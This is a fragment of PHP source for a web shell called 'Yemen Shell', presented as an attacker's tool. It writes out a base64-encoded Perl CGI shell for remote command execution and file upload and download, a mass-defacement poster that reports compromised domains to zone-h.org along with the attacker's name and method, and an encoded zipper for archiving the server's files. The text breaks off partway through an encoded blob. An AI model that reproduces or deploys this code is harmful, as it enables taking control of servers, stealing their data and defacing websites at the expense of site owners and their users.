KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0=';

$file = fopen("cgi.pr" ,"w+");
$write = fwrite ($file ,base64_decode($cgico)); 
fclose($file);
    chmod("cgi.pr",0755);
    yemenhead();
   echo '<iframe src="cgirun/cgi.pr" style="height:500px; width:1000px; border:0px;" name="config">';
   
   }


function yemenzone()
{
   yemenhead();
$zone1 = '<?php
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
	$k = curl_init();
	curl_setopt($k, CURLOPT_URL, $url);
	curl_setopt($k,CURLOPT_POST,true);
	curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
	curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
	$kubra = curl_exec($k);
	curl_close($k);
	return $kubra;
}
                        # --------------------------
			#   Zone H Attacker
			#---------------------------
			 if($_POST['SendNowToZoneH'])
			{
			$connect_timeout=5;
				set_time_limit(0);
			ob_start();
				$sub = @get_loaded_extensions();
				if(!in_array("curl", $sub))
				{
					die('[-] Curl Is Not Supported !! ');
				}
				$hacker = $_POST['defacer'];
				$method = $_POST['hackmode'];
				$neden = $_POST['reason'];
				$site = $_POST['domain'];
				
				if (empty($hacker))
				{
					die ("[-] You Must Fill the Attacker name !");
				}
				elseif($method == "--------SELECT--------") 
				{
					die("[-] You Must Select The Method !");
				}
				elseif($neden == "--------SELECT--------") 
				{
					die("[-] You Must Select The Reason");
				}
				elseif(empty($site)) 
				{
					die("[-] You Must Inter the Sites List ! ");
				}
				$i = 0;
				$sites = explode("\n", $site);
				while($i < count($sites)) 
				{
					if(substr($sites[$i], 0, 4) != "http") 
					{
						$sites[$i] = "http://".$sites[$i];
					}
					ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
					echo "Site : ".$sites[$i]." Defaced !\n";
					++$i;
				}
				echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
			}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<style>

body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #000000;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}

input,

.kbrtm,select{background:#000000;color:#FFFFFF;fon t-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}

button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}

body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}

textarea,option{background:#000000;color:#FFFFFF;f ont-family:Verdana,Arial;font-size:10px;vertical-align:middle; border-left:1px solid #121212; border-right:1px solid #5d5d5d; border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;}

</style>


<title>Zone-H Mass Deface Poster</title>

<style type="text/css">

.style1 {

text-align: center;

}

.style2 {

font-weight: bold;

}

.style3 {

font-size: large;

color: #FF0000;

}

div#option {

background:#000000;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; border-left:1px solid #121212; border-right:1px solid #5d5d5d; border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;



}

</style>

</head>

<?php
 
echo '<center>


<center><font size="4" color="#FF0000">Zone-h Poster</font></center>
		<form action="" method="post">
		<table align="center" cellpadding="5" border="0">
		<tr>

<td>
		<input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
		<tr><td>
		<select name="hackmode" class="box">
			<option >--------SELECT--------</option>
			<option value="1">known vulnerability (i.e. unpatched system)</option>
			<option value="2" >undisclosed (new) vulnerability</option>
			<option value="3" >configuration / admin. mistake</option>
			<option value="4" >brute force attack</option>
			<option value="5" >social engineering</option>
			<option value="6" >Web Server intrusion</option>
			<option value="7" >Web Server external module intrusion</option>
			<option value="8" >Mail Server intrusion</option>
			<option value="9" >FTP Server intrusion</option>
			<option value="10" >SSH Server intrusion</option>
			<option value="11" >Telnet Server intrusion</option>
			<option value="12" >RPC Server intrusion</option>
			<option value="13" >Shares misconfiguration</option>
			<option value="14" >Other Server intrusion</option>
			<option value="15" >SQL Injection</option>
			<option value="16" >URL Poisoning</option>
			<option value="17" >File Inclusion</option>
			<option value="18" >Other Web Application bug</option>
			<option value="19" >Remote administrative panel access bruteforcing</option>
			<option value="20" >Remote administrative panel access password 
			guessing</option>
			<option value="21" >Remote administrative panel access social 
			engineering</option>
			<option value="22" >Attack against administrator(password 
			stealing/sniffing)</option>
			<option value="23" >Access credentials through Man In the Middle 
			attack</option>
			<option value="24" >Remote service password guessing</option>
			<option value="25" >Remote service password bruteforce</option>
			<option value="26" >Rerouting after attacking the Firewall</option>
			<option value="27" >Rerouting after attacking the Router</option>
			<option value="28" >DNS attack through social engineering</option>
			<option value="29" >DNS attack through cache poisoning</option>
			<option value="30" >Not available</option>
		</select>
		</td></tr>
		<tr><td>
		<select name="reason" class="box">
			<option >--------SELECT--------</option>
			<option value="1" >Heh...just for fun!</option>
			<option value="2" >Revenge against that website</option>
			<option value="3" >Political reasons</option>
			<option value="4" >As a challenge</option>
			<option value="5" >I just want to be the best defacer</option>
			<option value="6" >Patriotism</option>
			<option value="7" >Not available</option>
		</select></td></tr>
		<tr><td>
		<textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
		<tr><td>
		<input type="submit" class="but" value="Send Now !" name="SendNowToZoneH" style="color: #FF0000" /></font></td>		
		</form>



<br>

</div>

</center>';





?>
<body>
<p align="center"><b>
<font color="white" face="Georgia," size="5"><br>Coded by BLACK.JaGuAr</font><font size="5">
</font></b></p>
<p align="center"><a href="http://www.aljyyosh.com/images/ye.gif">
<img border="0" src="http://www.aljyyosh.com/images/ye.gif" width="205" height="148"></a></p>
</body>

</html>
';

$file = fopen("zone.php" ,"w+");
$write = fwrite ($file ,base64_decode($zone1));
fclose($file);
echo '<iframe src="zone.php" style="height:500px; width:1500px; border:0px;" name="zone">';
yemenfooter();
}
  
function yemenzip()
{
   yemenhead();
$zip1 = 'PD8NCkBzZXRfdGltZV9saW1pdCgzNjAwKTsNCiRjb25mWydkaXInXSA9ICJuZGt6aXBmaWxl
cyI7DQppZiAoKGlzc2V0KCRfR0VUWydzdGVwJ10pKSYmKCFlbXB0eSgkX0dFVFsnc3RlcCdd
KSkpICRzdGVwPSRfR0VUWydzdGVwJ107IGVsc2UgJHN0ZXA9MDsNCmlmICgoaXNzZXQoJF9H
RVRbJ2Rpcm5hbWUnXSkpJiYoIWVtcHR5KCRfR0VUWydkaXJuYW1lJ10pKSkgJGRpcm5hbWU9
JF9HRVRbJ2Rpcm5hbWUnXTsgZWxzZSAkZGlybmFtZT0iLiI7DQokZGlybmFtZSA9IHN0cl9y
ZXBsYWNlKCIuLi8iLCIiLCRkaXJuYW1lKTsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIg
JGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJh
eSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgw
MFx4MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24g
dW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgk
dW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoNCiAg
ICAgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCiAgICAgICAgCSR0aW1l
YXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgIAkkdGltZWFycmF5Wydtb24nXSAg
ICAgPSAxOw0KICAgICAgICAJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCiAgICAgICAg
CSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQogICAgICAgIAkkdGltZWFycmF5WydtaW51
dGVzJ10gPSAwOw0KICAgICAgICAJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCiAgICAg
ICAgfSAvLyBlbmQgaWYNCg0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10g
LSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJy
YXlbJ21kYXknXSA8PCAxNikgfA0KICAgICAgICAgICAgICAgICgkdGltZWFycmF5Wydob3Vy
cyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJh
eVsnc2Vjb25kcyddID4+IDEpOw0KICAgIH0gLy8gZW5kIG9mIHRoZSAndW5peDJEb3NUaW1l
KCknIG1ldGhvZA0KDQogICAgZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1l
ID0gMCkNCiAgICB7DQogICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcv
JywgJG5hbWUpOw0KDQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJE
b3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0g
LiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRk
dGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1l
WzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07
DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoN
CiAgICAgICAgJGZyICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQogICAgICAgICRmciAgIC49
ICJceDE0XHgwMCI7ICAgICAgICAgICAgLy8gdmVyIG5lZWRlZCB0byBleHRyYWN0DQogICAg
ICAgICRmciAgIC49ICJceDAwXHgwMCI7ICAgICAgICAgICAgLy8gZ2VuIHB1cnBvc2UgYml0
IGZsYWcNCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAvLyBjb21w
cmVzc2lvbiBtZXRob2QNCiAgICAgICAgJGZyICAgLj0gJGhleGR0aW1lOyAgICAgICAgICAg
ICAvLyBsYXN0IG1vZCB0aW1lIGFuZCBkYXRlDQoNCiAgICAgICAgLy8gImxvY2FsIGZpbGUg
aGVhZGVyIiBzZWdtZW50DQogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiAg
ICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gZ3pj
b21wcmVzcygkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRh
dGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOyAvLyBmaXggY3JjIGJ1Zw0KICAgICAg
ICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNr
KCdWJywgJGNyYyk7ICAgICAgICAgICAgIC8vIGNyYzMyDQogICAgICAgICRmciAgICAgIC49
IHBhY2soJ1YnLCAkY19sZW4pOyAgICAgICAgICAgLy8gY29tcHJlc3NlZCBmaWxlc2l6ZQ0K
ICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICAgIC8vIHVu
Y29tcHJlc3NlZCBmaWxlc2l6ZQ0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2Jywgc3Ry
bGVuKCRuYW1lKSk7ICAgIC8vIGxlbmd0aCBvZiBmaWxlbmFtZQ0KICAgICAgICAkZnIgICAg
ICAuPSBwYWNrKCd2JywgMCk7ICAgICAgICAgICAgICAgIC8vIGV4dHJhIGZpZWxkIGxlbmd0
aA0KICAgICAgICAkZnIgICAgICAuPSAkbmFtZTsNCg0KICAgICAgICAvLyAiZmlsZSBkYXRh
IiBzZWdtZW50DQogICAgICAgICRmciAuPSAkemRhdGE7DQoNCiAgICAgICAgLy8gImRhdGEg
ZGVzY3JpcHRvciIgc2VnbWVudCAob3B0aW9uYWwgYnV0IG5lY2Vzc2FyeSBpZiBhcmNoaXZl
IGlzIG5vdA0KICAgICAgICAvLyBzZXJ2ZWQgYXMgZmlsZSkNCiAgICAgICAgJGZyIC49IHBh
Y2soJ1YnLCAkY3JjKTsgICAgICAgICAgICAgICAgIC8vIGNyYzMyDQogICAgICAgICRmciAu
PSBwYWNrKCdWJywgJGNfbGVuKTsgICAgICAgICAgICAgICAvLyBjb21wcmVzc2VkIGZpbGVz
aXplDQogICAgICAgICRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICAgICAgICAv
LyB1bmNvbXByZXNzZWQgZmlsZXNpemUNCg0KICAgICAgICAvLyBhZGQgdGhpcyBlbnRyeSB0
byBhcnJheQ0KICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoNCiAgICAgICAg
Ly8gbm93IGFkZCB0byBjZW50cmFsIGRpcmVjdG9yeSByZWNvcmQNCiAgICAgICAgJGNkcmVj
ID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsg
ICAgICAgICAgICAgICAgLy8gdmVyc2lvbiBtYWRlIGJ5DQogICAgICAgICRjZHJlYyAuPSAi
XHgxNFx4MDAiOyAgICAgICAgICAgICAgICAvLyB2ZXJzaW9uIG5lZWRlZCB0byBleHRyYWN0
DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgICAgICAvLyBnZW4g
cHVycG9zZSBiaXQgZmxhZw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsgICAgICAg
ICAgICAgICAgLy8gY29tcHJlc3Npb24gbWV0aG9kDQogICAgICAgICRjZHJlYyAuPSAkaGV4
ZHRpbWU7ICAgICAgICAgICAgICAgICAvLyBsYXN0IG1vZCB0aW1lICYgZGF0ZQ0KICAgICAg
ICAkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAgICAgLy8gY3JjMzINCiAgICAg
ICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOyAgICAgICAgIC8vIGNvbXByZXNzZWQg
ZmlsZXNpemUNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7ICAgICAg
IC8vIHVuY29tcHJlc3NlZCBmaWxlc2l6ZQ0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndics
IHN0cmxlbigkbmFtZSkgKTsgLy8gbGVuZ3RoIG9mIGZpbGVuYW1lDQogICAgICAgICRjZHJl
YyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAvLyBleHRyYSBmaWVsZCBsZW5ndGgN
CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAgICAgICAgIC8vIGZpbGUg
Y29tbWVudCBsZW5ndGgNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAg
ICAgICAgIC8vIGRpc2sgbnVtYmVyIHN0YXJ0DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2
JywgMCApOyAgICAgICAgICAgICAvLyBpbnRlcm5hbCBmaWxlIGF0dHJpYnV0ZXMNCiAgICAg
ICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOyAgICAgICAgICAgIC8vIGV4dGVybmFsIGZp
bGUgYXR0cmlidXRlcyAtICdhcmNoaXZlJyBiaXQgc2V0DQoNCiAgICAgICAgJGNkcmVjIC49
IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7IC8vIHJlbGF0aXZlIG9mZnNldCBv
ZiBsb2NhbCBoZWFkZXINCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCArPSBzdHJsZW4o
JGZyKTsNCg0KICAgICAgICAkY2RyZWMgLj0gJG5hbWU7DQoNCiAgICAgICAgLy8gb3B0aW9u
YWwgZXh0cmEgZmllbGQsIGZpbGUgY29tbWVudCBnb2VzIGhlcmUNCiAgICAgICAgLy8gc2F2
ZSB0byBjZW50cmFsIGRpcmVjdG9yeQ0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0g
JGNkcmVjOw0KICAgIH0gLy8gZW5kIG9mIHRoZSAnYWRkRmlsZSgpJyBtZXRob2QNCg0KICAg
IGZ1bmN0aW9uIGZpbGUoKQ0KICAgIHsNCiAgICAgICAgJGRhdGEgICAgPSBpbXBsb2RlKCcn
LCAkdGhpcyAtPiBkYXRhc2VjKTsNCiAgICAgICAgJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAk
dGhpcyAtPiBjdHJsX2Rpcik7DQoNCiAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0
YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQogICAgICAgICAgICAkdGhpcyAtPiBlb2Zf
Y3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJs
X2RpcikpIC4gIC8vIHRvdGFsICMgb2YgZW50cmllcyAib24gdGhpcyBkaXNrIg0KICAgICAg
ICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIC8vIHRvdGFs
ICMgb2YgZW50cmllcyBvdmVyYWxsDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRj
dHJsZGlyKSkgLiAgICAgICAgICAgLy8gc2l6ZSBvZiBjZW50cmFsIGRpcg0KICAgICAgICAg
ICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gICAgICAgICAgICAgIC8vIG9mZnNldCB0
byBzdGFydCBvZiBjZW50cmFsIGRpcg0KICAgICAgICAgICAgIlx4MDBceDAwIjsgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8vIC56aXAgZmlsZSBjb21tZW50IGxlbmd0aA0KICAg
IH0gLy8gZW5kIG9mIHRoZSAnZmlsZSgpJyBtZXRob2QNCiAgICANCiAgICBmdW5jdGlvbiBh
ZGRGaWxlcygkZmlsZXMgLypPbmx5IFBhc3MgQXJyYXkqLykNCiAgICB7DQogICAgICAgIGZv
cmVhY2goJGZpbGVzIGFzICRmaWxlKSB7DQoJCQlpZiAoaXNfZmlsZSgkZmlsZSkpIC8vZGly
ZWN0b3J5IGNoZWNrDQoJCQl7DQoJCQkJJGRhdGEgPSBpbXBsb2RlKCIiLGZpbGUoJGZpbGUp
KTsNCgkgICAgICAgICAgICAkdGhpcy0+YWRkRmlsZSgkZGF0YSwkZmlsZSk7DQogICAgICAg
ICAgICB9IGVsc2Ugew0KLy8JCQkJJGRhdGEgPSBpbXBsb2RlKCIiLGZpbGUoIm5ka3ppcGVy
LnR4dCIpKTsNCi8vCSAgICAgICAgICAgICR0aGlzLT5hZGRGaWxlKCRkYXRhLCRmaWxlLiIv
bmRremlwZXIudHh0Iik7DQoJCQl9CQ0KCQl9DQogICAgfQ0KICAgIA0KICAgIGZ1bmN0aW9u
IG91dHB1dCgkZmlsZSkNCiAgICB7DQogICAgICAgICRmcD1mb3BlbigkZmlsZSwidyIpOw0K
ICAgICAgICBmd3JpdGUoJGZwLCR0aGlzLT5maWxlKCkpOw0KICAgICAgICBmY2xvc2UoJGZw
KTsNCiAgICB9DQoNCn0gLy8gZW5kIGNsYXNzDQovLz09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09DQpmdW5jdGlvbiBnZXRkaXIoJHBhdGg9Ii4iKSB7DQpnbG9iYWwgJGRp
cmFycmF5LCRjb25mLCRkaXJzaXplOwkNCmlmICgkZGlyID0gb3BlbmRpcigkcGF0aCkpIHsN
CiAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gQHJlYWRkaXIoJGRpcikpKSB7DQoJIGlm
ICgoJGVudHJ5IT0iLiIpJiYoJGVudHJ5IT0iLi4iKSkgew0KCSAgCSRsYXN0ZG90ID0gc3Ry
cnBvcygkZW50cnksIi4iKTsNCgkJJGV4dCA9IGNob3Aoc3RydG9sb3dlcihzdWJzdHIoJGVu
dHJ5LCRsYXN0ZG90KzEpKSk7DQoJCSRmbmFtZSA9IHN1YnN0cigkZW50cnksMCwkbGFzdGRv
dCk7DQoJCWlmICgkcGF0aCE9Ii4iKSAkbmV3cGF0aCA9ICRwYXRoLiIvIi4kZW50cnk7DQoJ
CWVsc2UgJG5ld3BhdGggPSAkZW50cnk7DQoJCSRuZXdwYXRoID0gc3RyX3JlcGxhY2UoIi8v
IiwiLyIsJG5ld3BhdGgpOw0KDQoJCWlmICgoJGVudHJ5IT0iTkRLemlwZXIucGhwIikmJigk
ZW50cnkhPSJuZGt6aXBlci50eHQiKSYmKCRlbnRyeSE9JGNvbmZbJ2RpciddKSkgew0KCQkJ
JGRpcmFycmF5W10gPSAkbmV3cGF0aDsNCgkJCWlmICgkZnNpemU9QGZpbGVzaXplKCRuZXdw
YXRoKSkgJGRpcnNpemUrPSRmc2l6ZTsNCgkJCWlmIChpc19kaXIoJG5ld3BhdGgpKSBnZXRk
aXIoJG5ld3BhdGgpOw0KCQl9IA0KICAJIH0NCiAgfQ0KfQ0KfS8vIGVuZCBmdW5jDQovLz09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpmdW5jdGlvbiBnZXRjdXJyZW50
ZGlyKCRwYXRoPSIuIikgew0KZ2xvYmFsICRjb25mOwkNCiRkaXJhcnIgPSBhcnJheSgpOw0K
aWYgKCRkaXIgPSBvcGVuZGlyKCRwYXRoKSkgew0KICB3aGlsZSAoZmFsc2UgIT09ICgkZW50
cnkgPSBAcmVhZGRpcigkZGlyKSkpIHsNCgkgaWYgKCgkZW50cnkhPSIuIikmJigkZW50cnkh
PSIuLiIpKSB7DQoJICAJJGxhc3Rkb3QgPSBzdHJycG9zKCRlbnRyeSwiLiIpOw0KCQkkZXh0
ID0gY2hvcChzdHJ0b2xvd2VyKHN1YnN0cigkZW50cnksJGxhc3Rkb3QrMSkpKTsNCgkJJGZu
YW1lID0gc3Vic3RyKCRlbnRyeSwwLCRsYXN0ZG90KTsNCgkJaWYgKCRwYXRoIT0iLiIpICRu
ZXdwYXRoID0gJHBhdGguIi8iLiRlbnRyeTsNCgkJZWxzZSAkbmV3cGF0aCA9ICRlbnRyeTsN
CgkJJG5ld3BhdGggPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkbmV3cGF0aCk7DQoNCgkJaWYg
KCgkZW50cnkhPSJOREt6aXBlci5waHAiKSYmKCRlbnRyeSE9Im5ka3ppcGVyLnR4dCIpJiYo
JGVudHJ5IT0kY29uZlsnZGlyJ10pKSB7DQoJCQkkZGlyYXJyW10gPSAkbmV3cGF0aDsNCgkJ
fSANCiAgCSB9DQogIH0NCn0NCnJldHVybiAkZGlyYXJyOw0KfS8vIGVuZCBmdW5jDQovLz09
PT09PT09PT09PT09PT09PT09PT09PT0NCmZ1bmN0aW9uIHNpemVfZm9ybWF0KCRieXRlcz0i
Iikgew0KICAkcmV0dmFsID0gIiI7DQogIGlmICgkYnl0ZXMgPj0gMTA0ODU3Nikgew0KCSRy
ZXR2YWwgPSByb3VuZCgkYnl0ZXMgLyAxMDQ4NTc2ICogMTAwICkgLyAxMDAgLiAiIE1CIjsN
CiAgfSBlbHNlIGlmICgkYnl0ZXMgID49IDEwMjQpIHsNCgkgICAgJHJldHZhbCA9IHJvdW5k
KCRieXRlcyAvIDEwMjQgKiAxMDAgKSAvIDEwMCAuICIgS0IiOw0KICAgIH0gZWxzZSB7DQog
ICAgICAgICRyZXR2YWwgPSAkYnl0ZXMgLiAiIGJ5dGVzIjsNCiAgICAgIH0NCiAgcmV0dXJu
ICRyZXR2YWw7DQp9DQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQokY3VycmVu
dGRpciA9IGdldGN1cnJlbnRkaXIoJGRpcm5hbWUpOw0Kc29ydCgkY3VycmVudGRpcik7DQo/
Pg0KPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNp
dGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCI+DQo8
aHRtbD4NCjxoZWFkPg0KPHRpdGxlPi06WyB6aXAgZmlsZSBwbHVnaW4gLVllbWVuIFNoZWxs
IHYxLjAgXTotPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29u
dGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxNRVRBIEhUVFAtRVFVSVY9IkNB
Q0hFLUNPTlRST0wiIENPTlRFTlQ9Ik5PLUNBQ0hFIj4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2Nz
cyI+DQo8IS0tDQpodG1sIHsNCglvdmVyZmxvdy14OiBhdXRvOw0KCXNjcm9sbGJhci1mYWNl
LWNvbG9yOiAjQ0VDRUNFOw0KCXNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICM2QjZCNkI7DQoJ
c2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogI0Y4RjhGODsNCglzY3JvbGxiYXItM2RsaWdo
dC1jb2xvcjogIzhBOEE4QTsNCglzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzhBOEE4
QTsNCglzY3JvbGxiYXItdHJhY2stY29sb3I6ICM4QThBOEE7DQoJc2Nyb2xsYmFyLWFycm93
LWNvbG9yOiAjMjE1QThDOw0KfQ0KYm9keSx0ZCx0aCB7DQoJZm9udC1mYW1pbHk6IFZlcmRh
bmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJZm9udC1zaXplOiAxMnB4Ow0K
CWNvbG9yOiAjMDYxRDM2Ow0KfQ0KYm9keSB7DQoJbWFyZ2luLWxlZnQ6IDBweDsNCgltYXJn
aW4tdG9wOiAwcHg7DQoJbWFyZ2luLXJpZ2h0OiAwcHg7DQoJbWFyZ2luLWJvdHRvbTogMHB4
Ow0KCQ0KfQ0KYTpsaW5rIHsNCgljb2xvcjogI0ZGODQwMDsNCgl0ZXh0LWRlY29yYXRpb246
IG5vbmU7DQp9DQphOnZpc2l0ZWQgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgljb2xv
cjogI0ZGODQwMDsNCn0NCmE6aG92ZXIgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCglj
b2xvcjogI0ZGNjYwMDsNCn0NCmE6YWN0aXZlIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7
DQoJY29sb3I6ICNGRjg0MDA7DQp9DQppbWcgeyBib3JkZXIgOiAwcHg7IH0NCi5iZHIgew0K
CWJvcmRlcjogMXB4IHNvbGlkICMzNDQ1NTk7DQp9DQouY3RpdHRsZSB7DQoJZm9udC1zaXpl
OiAxNHB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQt
ZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMwMDYzQjA7DQp9DQoubXRp
dHRsZSB7DQoJZm9udC1zaXplOiAxNnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9y
OiAjRkZGRkZGOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9y
OiMyQjYwODI7DQoJaGVpZ2h0OjQwcHg7DQp9DQouZnRpdHRsZSB7DQoJZm9udC1zaXplOiAx
MnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQtZGVj
